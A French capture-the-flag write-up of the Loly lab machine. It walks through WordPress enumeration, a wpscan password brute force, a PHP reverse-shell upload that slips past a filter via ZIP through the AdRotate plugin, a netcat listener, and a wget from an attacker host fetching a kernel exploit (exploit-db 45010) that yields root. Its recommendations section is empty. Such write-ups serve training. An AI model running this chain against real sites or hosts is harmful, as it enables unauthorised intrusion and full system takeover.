Machine CTF Loly — OffSec Proving Grounds. Chaîne d'attaque : énumération WordPress, bruteforce des credentials, upload de reverse shell via un plugin, escalade de privilèges par kernel exploit.

Énumération

IP=192.168.60.121
nmap -sC -sV -p- $IP -v

Un seul port ouvert : 80. La page par défaut nginx s'affiche. Gobuster révèle un dossier /wordpress :

gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/small.txt

Le site WordPress ne s'affiche pas correctement — il pointe vers loly.lc. On ajoute l'entrée dans /etc/hosts :

echo "192.168.60.121 loly.lc" | sudo tee -a /etc/hosts

Bruteforce WordPress

wpscan --url http://loly.lc/wordpress --enumerate u
# → Utilisateur : loly

wpscan --url http://loly.lc/wordpress -U loly -P /usr/share/wordlists/metasploit/unix_passwords.txt
Credentials valides : loly / fernando

Exploitation — Reverse shell via AdRotate

Le plugin AdRotate (installé) permet d'uploader des fichiers dans Manage Media. L'upload PHP direct est filtré — on contourne en compressant en ZIP :

cp /usr/share/webshells/php/php-reverse-shell.php .
# Modifier l'IP attaquante dans le fichier
zip shell.php.zip php-reverse-shell.php

sudo nc -nvlp 1234   # Écoute attaquante

Après upload, on déclenche le shell :

curl http://192.168.60.121/wordpress/wp-content/banners/php-reverse-shell.php

Shell obtenu — utilisateur www-data.

Escalade de privilèges — Kernel exploit

uname -a  # Linux 4.4.0-31-generic (Ubuntu 16.04)

Kernel vulnérable à l'exploit-db 45010 (Linux < 4.13.9) :

wget http://<attaquant>:8000/45010.c
export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/5/
gcc 45010.c -o exploit && ./exploit
# → Shell root

Recommandations